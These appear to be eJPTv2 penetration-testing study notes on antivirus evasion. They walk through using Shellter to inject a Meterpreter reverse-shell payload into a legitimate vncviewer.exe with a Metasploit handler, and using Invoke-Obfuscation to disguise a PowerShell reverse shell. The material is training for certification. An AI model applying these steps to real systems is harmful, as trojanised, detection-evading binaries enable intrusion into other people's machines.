> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/exploitation/exploits/obfuscation.md).

# Obfuscation

## AV Evasion & Obfuscation

### AV Evasion With Shellter 

**Defense Evasion**

Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or **obfuscating/encrypting** data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware - MITRE

**AV Detection Methods**

AV software will typically utilize signature, heuristic and behavior based detection.

1. **Signature-based detection** : An AV signature is a unique sequence of bytes that uniquely identifies malware. As a result, you will have to ensure that your obfuscated exploit or payload doesn't match any known signature in the AV database.

We can bypass signature-based detection by modifying the malware's byte sequence, therefore changing the signature.

1. **Heuristic-based detection** : Relies on rules or decisions to determine wheter a binary is malicious . It also looks for specific patterns within the code or program calls.
2. **Behavior-based detection**: Relies on identifying malware by monitoring it's behavior (Used for newer strains of malware).

**AV Evasion Techniques**

on-disk Evasion Techniques

* **Obfuscation** - Obfuscation refers to the process of concealing something important, valuable, or critical. Obfuscation reorganizes code in order to make it harder to analyze or RE.
* **Encoding** - Encoding data is a process involving changing data into a new format using a scheme. Encoding is a reversible process; data can be encoded to a new format and decoded to its original format.
* **Packing** - Generate executable with new binary structure with a smaller size and therefore provides the payload with a new signature.
* **Crypters** - Encrypts code or payloads and decrypts the encrypted code in memory. The decryption key/function is usually stored in a stub.

**In-Memory Evasion Techniques**

* Focuses on manipulation of memory and does not write files to disk.
* Injects payload into a process by leveraging various Windows APIs.
* Payload is then executed in memory in a separate thread.

DEMO

Shellter is present in Kali Linux as the package in the official repository.

{% embed url="<https://www.shellterproject.com/introducing-shellter/>" %}

```
sudo apt install shellter -y
```

* shellter only supports 32bit payloads

```
sudo dpkg --add-architecture i386
sudo apt install wine32
cd /usr/share/windows-resources/shellter
```

```
sudo wine shellter.exe
ls -al /usr/share/windows-binaries/vncviewer.exe
sudo wine shellter.exe
> A
PE Target: /Desktop/AVBypass/vncviewer.exe
Enable Stealth Mode? : y
Payloads : L
> 1 (_Reverse_tcp)
> Lhost : <IP>
> Lport : <Portf>
```

* transfer of file & connection&#x20;

```
msfconsole -q
> use multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST <IP>
> set LPORT <PORT>
> run 
>>>> sysinfo
>>>> getuid
```

```
python3 -m http.server 80
```

***

### Obfuscating PowerShell Code

* Obfuscation refers to the process of concealing something important, valuable, or critical. Obfuscation reorganizes code in order to make it harder to analyze or RE.
* As a penetration tester, you will find yourself working with PowerShell code frequently. Most AV solutions will immediately flag malicious PowerShell code, as a result, you must be able to obfuscate/encode your PowerShell code and scripts in order to avoid detection.

**Invoke-Obfuscation**

* Invoke-Obfuscation is an open source PowerShell v2.0+ compatible PowerShell command and script obfuscator.
* GitHub Repo: <https://github.com/danielbohannon/Invoke-Obfuscation>

DEMO

```
cd AVBypass/
sudo apt install powershell -y

pwsh > cd ./Invoke-Obfuscation/ 
pwsh > Import-Module ./Invoke-Obfuscation.psd1
pwsh > cd ..
pwsh > Invoke-Obfuscation

> SET SCRIPTPATH /home/kali/Desktop/AVBypass/shell.ps1
> ENCODING
> 1 (ASCII)

> SET SCRIPTPATH /home/kali/Desktop/AVBypass/shell.ps1
> RESET 
> BACK
> AST
> ALL
> 1
```

* take a oneliner or powershell payload and change the ip and ports.
* transfer the file and run with Netcat listener&#x20;

*NOTE: Always disable cloud-delivery and other AV options only add Real-time detection*